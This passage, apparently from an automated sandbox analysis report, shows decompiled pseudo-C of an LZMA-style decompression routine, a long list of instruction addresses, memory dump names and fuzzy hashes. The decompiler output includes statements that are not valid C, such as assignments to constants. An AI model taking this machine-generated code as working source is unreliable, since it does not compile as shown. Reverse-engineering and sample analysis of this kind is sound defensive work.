													 *(__ebp - 0x50) = 1;
													 *(__ebp - 0x44) = 0;
													 *(__ebp - 0x48) = 0;
													L112:
													__eax =  *(__ebp - 0x40);
													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
														L118:
														_t391 = __ebp - 0x2c;
														 *_t391 =  *(__ebp - 0x2c) + __ebx;
														__eflags =  *_t391;
														goto L119;
													}
													L113:
													__eax =  *(__ebp - 0x50);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
													__eax =  *(__ebp - 0x58);
													__esi = __edi + __eax;
													 *(__ebp - 0x54) = __esi;
													__ax =  *__esi;
													__ecx = __ax & 0x0000ffff;
													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
													__eflags =  *(__ebp - 0xc) - __edx;
													if( *(__ebp - 0xc) >= __edx) {
														__ecx = 0;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
														__ecx = 1;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
														__ebx = 1;
														__ecx =  *(__ebp - 0x48);
														__ebx = 1 << __cl;
														__ecx = 1 << __cl;
														__ebx =  *(__ebp - 0x44);
														__ebx =  *(__ebp - 0x44) | __ecx;
														__cx = __ax;
														__cx = __ax >> 5;
														__eax = __eax - __ecx;
														__edi = __edi + 1;
														__eflags = __edi;
														 *(__ebp - 0x44) = __ebx;
														 *__esi = __ax;
														 *(__ebp - 0x50) = __edi;
													} else {
														 *(__ebp - 0x10) = __edx;
														0x800 = 0x800 - __ecx;
														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
														 *__esi = __dx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L111:
														_t368 = __ebp - 0x48;
														 *_t368 =  *(__ebp - 0x48) + 1;
														__eflags =  *_t368;
														goto L112;
													} else {
														L117:
														goto L109;
													}
												}
												L103:
												__ecx =  *(__ebp - 0xc);
												__ebx = __ebx + __ebx;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
													__ecx =  *(__ebp - 0x10);
													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													__ebx = __ebx | 0x00000001;
													__eflags = __ebx;
													 *(__ebp - 0x44) = __ebx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													L101:
													_t338 = __ebp - 0x48;
													 *_t338 =  *(__ebp - 0x48) - 1;
													__eflags =  *_t338;
													goto L102;
												} else {
													L106:
													goto L99;
												}
											}
											L96:
											__edx =  *(__ebp - 4);
											__eax = __eax - __ebx;
											 *(__ebp - 0x40) = __ecx;
											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
											goto L108;
										case 0x1a:
											L56:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												L162:
												 *(__ebp - 0x88) = 0x1a;
												goto L170;
											}
											L57:
											__ecx =  *(__ebp - 0x68);
											__al =  *(__ebp - 0x5c);
											__edx =  *(__ebp - 8);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
											 *( *(__ebp - 0x68)) = __al;
											__ecx =  *(__ebp - 0x14);
											 *(__ecx +  *(__ebp - 8)) = __al;
											__eax = __ecx + 1;
											__edx = 0;
											_t192 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t192;
											goto L80;
										case 0x1b:
											L76:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												L163:
												 *(__ebp - 0x88) = 0x1b;
												goto L170;
											}
											L77:
											__eax =  *(__ebp - 0x14);
											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
											__eflags = __eax -  *(__ebp - 0x74);
											if(__eax >=  *(__ebp - 0x74)) {
												__eax = __eax +  *(__ebp - 0x74);
												__eflags = __eax;
											}
											__edx =  *(__ebp - 8);
											__cl =  *(__eax + __edx);
											__eax =  *(__ebp - 0x14);
											 *(__ebp - 0x5c) = __cl;
											 *(__eax + __edx) = __cl;
											__eax = __eax + 1;
											__edx = 0;
											_t275 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t275;
											__eax =  *(__ebp - 0x68);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											_t284 = __ebp - 0x64;
											 *_t284 =  *(__ebp - 0x64) - 1;
											__eflags =  *_t284;
											 *( *(__ebp - 0x68)) = __cl;
											L80:
											 *(__ebp - 0x14) = __edx;
											goto L81;
										case 0x1c:
											while(1) {
												L123:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													break;
												}
												L124:
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t414 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t414;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
												__eflags =  *(__ebp - 0x30);
												 *( *(__ebp - 0x68)) = __cl;
												 *(__ebp - 0x14) = _t414;
												if( *(__ebp - 0x30) > 0) {
													continue;
												} else {
													L127:
													L81:
													 *(__ebp - 0x88) = 2;
													goto L1;
												}
											}
											L167:
											 *(__ebp - 0x88) = 0x1c;
											goto L170;
									}
								}
								L171:
								_t539 = _t538 | 0xffffffff;
								goto L172;
							}
						}
					}
				}
			}

0x004063dd
0x004063dd
0x004063dd
0x004063dd
0x004063e3
0x004063e7
0x004063eb
0x004063f5
0x00406403
0x004066d9
0x004066d9
0x004066dc
0x004066e3
0x00406710
0x00406710
0x00406714
0x00000000
0x00000000
0x00406716
0x0040671f
0x00406725
0x00406728
0x0040672b
0x0040672e
0x00406731
0x00406737
0x00406750
0x00406753
0x0040675f
0x00406760
0x00406763
0x00406739
0x00406739
0x00406748
0x0040674b
0x0040674b
0x0040676d
0x0040670d
0x0040670d
0x0040670d
0x00406710
0x00406714
0x00000000
0x00000000
0x00000000
0x0040676f
0x0040676f
0x004066e8
0x004066ec
0x00406824
0x00406824
0x0040682e
0x00406836
0x0040683d
0x0040683f
0x00406846
0x0040684a
0x0040684a
0x004066f2
0x004066f8
0x004066ff
0x00406707
0x00406707
0x0040670a
0x00000000
0x0040670a
0x00406774
0x00406781
0x00406784
0x00406690
0x00406690
0x00406690
0x00405e2c
0x00405e2c
0x00405e2c
0x00405e35
0x00000000
0x00000000
0x00405e3b
0x00405e3b
0x00000000
0x00405e42
0x00405e46
0x00000000
0x00000000
0x00405e4c
0x00405e4f
0x00405e52
0x00405e55
0x00405e59
0x00000000
0x00000000
0x00405e5f
0x00405e5f
0x00405e62
0x00405e64
0x00405e65
0x00405e68
0x00405e6a
0x00405e6b
0x00405e6d
0x00405e70
0x00405e75
0x00405e7a
0x00405e83
0x00405e96
0x00405e99
0x00405ea5
0x00405ecd
0x00405ecf
0x00405edd
0x00405edd
0x00405ee1
0x00000000
0x00000000
0x00000000
0x00000000
0x00405ed1
0x00405ed1
0x00405ed4
0x00405ed5
0x00405ed5
0x00000000
0x00405ed1
0x00405ea7
0x00405eab
0x00405eb0
0x00405eb0
0x00405eb9
0x00405ec1
0x00405ec4
0x00000000
0x00405eca
0x00405eca
0x00000000
0x00405eca
0x00000000
0x00405ee7
0x00405ee7
0x00405eeb
0x00406797
0x00406797
0x00000000
0x00406797
0x00405ef1
0x00405ef4
0x00405f04
0x00405f07
0x00405f0a
0x00405f0a
0x00405f0a
0x00405f0d
0x00405f11
0x00000000
0x00000000
0x00405f13
0x00405f13
0x00405f19
0x00405f43
0x00405f49
0x00405f50
0x00000000
0x00405f50
0x00405f1b
0x00405f1f
0x00405f22
0x00405f27
0x00405f27
0x00405f32
0x00405f3a
0x00405f3d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405f82
0x00405f88
0x00405f8b
0x00405f98
0x00405fa0
0x00000000
0x00000000
0x00405f57
0x00405f57
0x00405f5b
0x004067a6
0x004067a6
0x00000000
0x004067a6
0x00405f61
0x00405f67
0x00405f72
0x00405f72
0x00405f72
0x00405f75
0x00405f78
0x00405f7b
0x00405f80
0x00000000
0x00000000
0x00000000
0x00000000
0x00406617
0x00406617
0x0040661d
0x00406623
0x00406629
0x00406643
0x00406646
0x0040664c
0x00406657
0x00406657
0x00406659
0x0040662b
0x0040662b
0x0040663a
0x0040663e
0x0040663e
0x00406663
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406665
0x00406669
0x00406818
0x00406818
0x00000000
0x00406818
0x0040666f
0x00406675
0x0040667c
0x00406684
0x00406687
0x0040668a
0x0040668a
0x00406690
0x00406690
0x00000000
0x00000000
0x00405fa8
0x00405fa8
0x00405faa
0x00405fad
0x0040601e
0x0040601e
0x00406021
0x00406024
0x0040602b
0x00406035
0x00000000
0x00406035
0x00405faf
0x00405faf
0x00405fb3
0x00405fb6
0x00405fb8
0x00405fbb
0x00405fbe
0x00405fc0
0x00405fc3
0x00405fc5
0x00405fca
0x00405fcd
0x00405fd0
0x00405fd4
0x00405fdb
0x00405fde
0x00405fe5
0x00405fe9
0x00405ff1
0x00405ff1
0x00405ff1
0x00405feb
0x00405feb
0x00405feb
0x00405fe0
0x00405fe0
0x00405fe0
0x00405ff5
0x00405ff8
0x00406016
0x00406016
0x00406018
0x00000000
0x00405ffa
0x00405ffa
0x00405ffa
0x00405ffd
0x00406000
0x00406003
0x00406005
0x00406005
0x00406005
0x00406008
0x0040600b
0x0040600d
0x0040600e
0x00406011
0x00000000
0x00406011
0x00000000
0x00406247
0x00406247
0x0040624b
0x00406269
0x00406269
0x0040626c
0x00406273
0x00406276
0x00406279
0x0040627c
0x0040627f
0x00406282
0x00406284
0x0040628b
0x0040628c
0x0040628e
0x00406291
0x00406294
0x00406297
0x00406297
0x0040629c
0x00000000
0x0040629c
0x0040624d
0x0040624d
0x00406250
0x00406253
0x0040625d
0x00000000
0x00000000
0x004062b1
0x004062b1
0x004062b5
0x004062d8
0x004062db
0x004062de
0x004062e8
0x004062b7
0x004062b7
0x004062ba
0x004062bd
0x004062c0
0x004062cd
0x004062d0
0x004062d0
0x00000000
0x00000000
0x004062f4
0x004062f4
0x004062f8
0x00000000
0x00000000
0x004062fe
0x004062fe
0x00406302
0x00000000
0x00000000
0x00406308
0x00406308
0x0040630a
0x0040630e
0x0040630e
0x00406311
0x00406315
0x00000000
0x00000000
0x00406365
0x00406365
0x00406369
0x00406370
0x00406370
0x00406373
0x00406376
0x00406380
0x00000000
0x00406380
0x0040636b
0x0040636b
0x00000000
0x00000000
0x0040638c
0x0040638c
0x00406390
0x00406397
0x0040639a
0x0040639d
0x00406392
0x00406392
0x00406392
0x004063a0
0x004063a3
0x004063a6
0x004063a6
0x004063a9
0x004063ac
0x004063af
0x004063af
0x004063b2
0x004063b9
0x004063be
0x00000000
0x00000000
0x0040644c
0x0040644c
0x00406450
0x004067ee
0x004067ee
0x00000000
0x004067ee
0x00406456
0x00406456
0x00406459
0x0040645c
0x00406460
0x00406463
0x00406469
0x0040646b
0x0040646b
0x0040646b
0x0040646e
0x00406471
0x00000000
0x00000000
0x00406041
0x00406041
0x00406045
0x004067b2
0x004067b2
0x00000000
0x004067b2
0x0040604b
0x0040604b
0x0040604e
0x00406051
0x00406055
0x00406058
0x0040605e
0x00406060
0x00406060
0x00406060
0x00406063
0x00406066
0x00406066
0x00406069
0x0040606c
0x00000000
0x00000000
0x00406072
0x00406072
0x00406078
0x00000000
0x00000000
0x0040607e
0x0040607e
0x00406082
0x00406085
0x00406088
0x0040608b
0x0040608e
0x0040608f
0x00406092
0x00406094
0x0040609a
0x0040609d
0x004060a0
0x004060a3
0x004060a6
0x004060a9
0x004060ac
0x004060c8
0x004060cb
0x004060ce
0x004060d1
0x004060d8
0x004060dc
0x004060de
0x004060e2
0x004060ae
0x004060ae
0x004060b2
0x004060ba
0x004060bf
0x004060c1
0x004060c3
0x004060c3
0x004060e5
0x004060ec
0x004060ef
0x00000000
0x004060f5
0x004060f5
0x00000000
0x004060f5
0x00000000
0x004060fa
0x004060fa
0x004060fe
0x004067be
0x004067be
0x00000000
0x004067be
0x00406104
0x00406104
0x00406107
0x0040610a
0x0040610e
0x00406111
0x00406117
0x00406119
0x00406119
0x00406119
0x0040611c
0x0040611f
0x0040611f
0x0040611f
0x00406125
0x00000000
0x00000000
0x00406127
0x00406127
0x0040612a
0x0040612d
0x00406130
0x00406133
0x00406136
0x00406139
0x0040613c
0x0040613f
0x00406142
0x00406145
0x0040615d
0x00406160
0x00406163
0x00406166
0x00406166
0x00406169
0x0040616d
0x0040616f
0x00406147
0x00406147
0x0040614f
0x00406154
0x00406156
0x00406158
0x00406158
0x00406172
0x00406179
0x0040617c
0x00000000
0x0040617e
0x0040617e
0x00000000
0x0040617e
0x0040617c
0x00406183
0x00406183
0x00406183
0x00406183
0x00000000
0x00000000
0x004061be
0x004061be
0x004061c2
0x004067ca
0x004067ca
0x00000000
0x004067ca
0x004061c8
0x004061c8
0x004061cb
0x004061ce
0x004061d2
0x004061d5
0x004061db
0x004061dd
0x004061dd
0x004061dd
0x004061e0
0x004061e3
0x004061e3
0x004061e9
0x00406187
0x00406187
0x0040618a
0x00000000
0x0040618a
0x004061eb
0x004061eb
0x004061ee
0x004061f1
0x004061f4
0x004061f7
0x004061fa
0x004061fd
0x00406200
0x00406203
0x00406206
0x00406209
0x00406221
0x00406224
0x00406227
0x0040622a
0x0040622a
0x0040622d
0x00406231
0x00406233
0x0040620b
0x0040620b
0x00406213
0x00406218
0x0040621a
0x0040621c
0x0040621c
0x00406236
0x0040623d
0x00406240
0x00000000
0x00406242
0x00406242
0x00000000
0x00406242
0x00000000
0x004064cf
0x004064cf
0x004064d3
0x004067fa
0x004067fa
0x00000000
0x004067fa
0x004064d9
0x004064d9
0x004064dc
0x004064df
0x004064e3
0x004064e6
0x004064ec
0x004064ee
0x004064ee
0x004064ee
0x004064f1
0x00000000
0x00000000
0x0040629f
0x0040629f
0x004062a2
0x00000000
0x00000000
0x004065de
0x004065de
0x004065e2
0x00406604
0x00406604
0x00406607
0x00406611
0x00406614
0x00406614
0x00000000
0x00406614
0x004065e4
0x004065e4
0x004065e7
0x004065eb
0x004065ee
0x004065ee
0x004065f1
0x00000000
0x00000000
0x0040669b
0x0040669b
0x0040669f
0x004066bd
0x004066bd
0x004066bd
0x004066bd
0x004066c4
0x004066cb
0x004066d2
0x004066d2
0x004066d9
0x004066dc
0x004066e3
0x00000000
0x004066e6
0x004066a1
0x004066a1
0x004066a4
0x004066a7
0x004066aa
0x004066b1
0x004065f5
0x004065f5
0x004065f8
0x00000000
0x00000000
0x0040678c
0x0040678c
0x0040678f
0x00406690
0x00406690
0x00406690
0x00000000
0x00406696
0x00000000
0x004063c6
0x004063c6
0x004063c8
0x004063cf
0x004063d0
0x004063d2
0x004063d5
0x00000000
0x00000000
0x00000000
0x00000000
0x004066d9
0x004066d9
0x004066dc
0x004066e3
0x00000000
0x004066e6
0x00000000
0x00000000
0x00000000
0x0040640b
0x0040640b
0x0040640e
0x00406444
0x00406444
0x00406574
0x00406574
0x00406574
0x00406574
0x00406577
0x00406577
0x0040657a
0x0040657c
0x00406806
0x00406806
0x00000000
0x00406806
0x00406582
0x00406582
0x00406585
0x00000000
0x00000000
0x0040658b
0x0040658b
0x0040658f
0x00406592
0x00406592
0x00406592
0x00000000
0x00406592
0x00406410
0x00406410
0x00406412
0x00406414
0x00406416
0x00406419
0x0040641a
0x0040641c
0x0040641e
0x00406421
0x00406424
0x0040643a
0x0040643a
0x0040643f
0x00406477
0x00406477
0x0040647b
0x004064a4
0x004064a7
0x004064a9
0x004064b0
0x004064b3
0x004064b6
0x004064b6
0x004064bb
0x004064bb
0x004064bd
0x004064c0
0x004064c7
0x004064ca
0x004064f7
0x004064f7
0x004064fa
0x004064fd
0x00406571
0x00406571
0x00406571
0x00406571
0x00000000
0x00406571
0x004064ff
0x004064ff
0x00406505
0x00406508
0x0040650b
0x0040650e
0x00406511
0x00406514
0x00406517
0x0040651a
0x0040651d
0x00406520
0x00406539
0x0040653b
0x0040653e
0x0040653f
0x00406542
0x00406544
0x00406547
0x00406549
0x0040654b
0x0040654e
0x00406550
0x00406553
0x00406557
0x00406559
0x00406559
0x0040655a
0x0040655d
0x00406560
0x00406522
0x00406522
0x0040652a
0x0040652f
0x00406531
0x00406534
0x00406534
0x00406563
0x0040656a
0x004064f4
0x004064f4
0x004064f4
0x004064f4
0x00000000
0x0040656c
0x0040656c
0x00000000
0x0040656c
0x0040656a
0x0040647d
0x0040647d
0x00406480
0x00406482
0x00406485
0x00406488
0x0040648b
0x0040648d
0x00406490
0x00406493
0x00406493
0x00406496
0x00406496
0x00406499
0x004064a0
0x00406474
0x00406474
0x00406474
0x00406474
0x00000000
0x004064a2
0x004064a2
0x00000000
0x004064a2
0x004064a0
0x00406426
0x00406426
0x00406429
0x0040642b
0x0040642e
0x00000000
0x00000000
0x0040618d
0x0040618d
0x00406191
0x004067d6
0x004067d6
0x00000000
0x004067d6
0x00406197
0x00406197
0x0040619a
0x0040619d
0x004061a0
0x004061a3
0x004061a6
0x004061a9
0x004061ab
0x004061ae
0x004061b1
0x004061b4
0x004061b6
0x004061b6
0x004061b6
0x00000000
0x00000000
0x00406318
0x00406318
0x0040631c
0x004067e2
0x004067e2
0x00000000
0x004067e2
0x00406322
0x00406322
0x00406325
0x00406328
0x0040632b
0x0040632d
0x0040632d
0x0040632d
0x00406330
0x00406333
0x00406336
0x00406339
0x0040633c
0x0040633f
0x00406340
0x00406342
0x00406342
0x00406342
0x00406345
0x00406348
0x0040634b
0x0040634e
0x0040634e
0x0040634e
0x00406351
0x00406353
0x00406353
0x00000000
0x00000000
0x00406595
0x00406595
0x00406595
0x00406599
0x00000000
0x00000000
0x0040659f
0x0040659f
0x004065a2
0x004065a5
0x004065a8
0x004065aa
0x004065aa
0x004065aa
0x004065ad
0x004065b0
0x004065b3
0x004065b6
0x004065b9
0x004065bc
0x004065bd
0x004065bf
0x004065bf
0x004065bf
0x004065c2
0x004065c5
0x004065c8
0x004065cb
0x004065ce
0x004065d2
0x004065d4
0x004065d7
0x00000000
0x004065d9
0x004065d9
0x00406356
0x00406356
0x00000000
0x00406356
0x004065d7
0x0040680c
0x0040680c
0x00000000
0x00000000
0x00405e3b
0x00406843
0x00406843
0x00000000
0x00406843
0x00406690
0x00406710
0x004066d9

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ad8b3a7fce677aa33c13c02e3180aa90519ee056083dbfcd0f6a1ae91265e6c
Instruction ID: 95af8839098f806f541805b71f16133a603fad5641f47eebb8f014e75b9041d1
Opcode Fuzzy Hash: 8ad8b3a7fce677aa33c13c02e3180aa90519ee056083dbfcd0f6a1ae91265e6c
Instruction Fuzzy Hash: 58A13371D00229CBDF28CFA8C8447ADBBB1FF44305F25856AD856BB281D7789A86DF44

Uniqueness

Uniqueness Score: -1.00%

Function 004065DE, Relevance: 5.2, APIs: 4, Instructions: 208
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E004065DE() {
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int* _t605;
				void* _t612;

				L0:
				while(1) {
					L0:
					if( *(_t612 - 0x40) != 0) {
						 *(_t612 - 0x84) = 0x13;
						_t605 =  *((intOrPtr*)(_t612 - 0x58)) + 2;
						goto L132;
					} else {
						__eax =  *(__ebp - 0x4c);
						 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
						__ecx =  *(__ebp - 0x58);
						__eax =  *(__ebp - 0x4c) << 4;
						__eax =  *(__ebp - 0x58) + __eax + 4;
						L130:
						 *(__ebp - 0x58) = __eax;
						 *(__ebp - 0x40) = 3;
						L144:
						 *(__ebp - 0x7c) = 0x14;
						L145:
						__eax =  *(__ebp - 0x40);
						 *(__ebp - 0x50) = 1;
						 *(__ebp - 0x48) =  *(__ebp - 0x40);
						L149:
						if( *(__ebp - 0x48) <= 0) {
							__ecx =  *(__ebp - 0x40);
							__ebx =  *(__ebp - 0x50);
							0 = 1;
							__eax = 1 << __cl;
							__ebx =  *(__ebp - 0x50) - (1 << __cl);
							__eax =  *(__ebp - 0x7c);
							 *(__ebp - 0x44) = __ebx;
							while(1) {
								L140:
								 *(_t612 - 0x88) = _t533;
								while(1) {
									L1:
									_t534 =  *(_t612 - 0x88);
									if(_t534 > 0x1c) {
										break;
									}
									switch( *((intOrPtr*)(_t534 * 4 +  &M0040684B))) {
										case 0:
											if( *(_t612 - 0x6c) == 0) {
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											_t534 =  *( *(_t612 - 0x70));
											if(_t534 > 0xe1) {
												goto L171;
											}
											_t538 = _t534 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t569);
											_push(9);
											_pop(_t570);
											_t608 = _t538 / _t569;
											_t540 = _t538 % _t569 & 0x000000ff;
											asm("cdq");
											_t603 = _t540 % _t570 & 0x000000ff;
											 *(_t612 - 0x3c) = _t603;
											 *(_t612 - 0x1c) = (1 << _t608) - 1;
											 *((intOrPtr*)(_t612 - 0x18)) = (1 << _t540 / _t570) - 1;
											_t611 = (0x300 << _t603 + _t608) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t612 - 0x78))) {
												L10:
												if(_t611 == 0) {
													L12:
													 *(_t612 - 0x48) =  *(_t612 - 0x48) & 0x00000000;
													 *(_t612 - 0x40) =  *(_t612 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t611 = _t611 - 1;
													 *((short*)( *(_t612 - 4) + _t611 * 2)) = 0x400;
												} while (_t611 != 0);
												goto L12;
											}
											if( *(_t612 - 4) != 0) {
												GlobalFree( *(_t612 - 4));
											}
											_t534 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t612 - 4) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t612 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t612 - 0x6c);
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 1;
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x40) =  *(_t612 - 0x40) | ( *( *(_t612 - 0x70)) & 0x000000ff) <<  *(_t612 - 0x48) << 0x00000003;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											_t45 = _t612 - 0x48;
											 *_t45 =  *(_t612 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t612 - 0x48) < 4) {
												goto L13;
											}
											_t546 =  *(_t612 - 0x40);
											if(_t546 ==  *(_t612 - 0x74)) {
												L20:
												 *(_t612 - 0x48) = 5;
												 *( *(_t612 - 8) +  *(_t612 - 0x74) - 1) =  *( *(_t612 - 8) +  *(_t612 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											 *(_t612 - 0x74) = _t546;
											if( *(_t612 - 8) != 0) {
												GlobalFree( *(_t612 - 8)); // executed
											}
											_t534 = GlobalAlloc(0x40,  *(_t612 - 0x40)); // executed
											 *(_t612 - 8) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t553 =  *(_t612 - 0x60) &  *(_t612 - 0x1c);
											 *(_t612 - 0x84) = 6;
											 *(_t612 - 0x4c) = _t553;
											_t605 =  *(_t612 - 4) + (( *(_t612 - 0x38) << 4) + _t553) * 2;
											goto L132;
										case 3:
											L21:
											__eflags =  *(_t612 - 0x6c);
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 3;
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											_t67 = _t612 - 0x70;
											 *_t67 =  &(( *(_t612 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t612 - 0xc) =  *(_t612 - 0xc) << 0x00000008 |  *( *(_t612 - 0x70)) & 0x000000ff;
											L23:
											 *(_t612 - 0x48) =  *(_t612 - 0x48) - 1;
											if( *(_t612 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t531 =  *_t605;
											_t588 = _t531 & 0x0000ffff;
											_t564 = ( *(_t612 - 0x10) >> 0xb) * _t588;
											if( *(_t612 - 0xc) >= _t564) {
												 *(_t612 - 0x10) =  *(_t612 - 0x10) - _t564;
												 *(_t612 - 0xc) =  *(_t612 - 0xc) - _t564;
												 *(_t612 - 0x40) = 1;
												_t532 = _t531 - (_t531 >> 5);
												__eflags = _t532;
												 *_t605 = _t532;
											} else {
												 *(_t612 - 0x10) = _t564;
												 *(_t612 - 0x40) =  *(_t612 - 0x40) & 0x00000000;
												 *_t605 = (0x800 - _t588 >> 5) + _t531;
											}
											if( *(_t612 - 0x10) >= 0x1000000) {
												goto L139;
											} else {
												goto L137;
											}
										case 5:
											L137:
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 5;
												goto L170;
											}
											 *(_t612 - 0x10) =  *(_t612 - 0x10) << 8;
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											 *(_t612 - 0xc) =  *(_t612 - 0xc) << 0x00000008 |  *( *(_t612 - 0x70)) & 0x000000ff;
											L139:
											_t533 =  *(_t612 - 0x84);
											goto L140;
										case 6:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
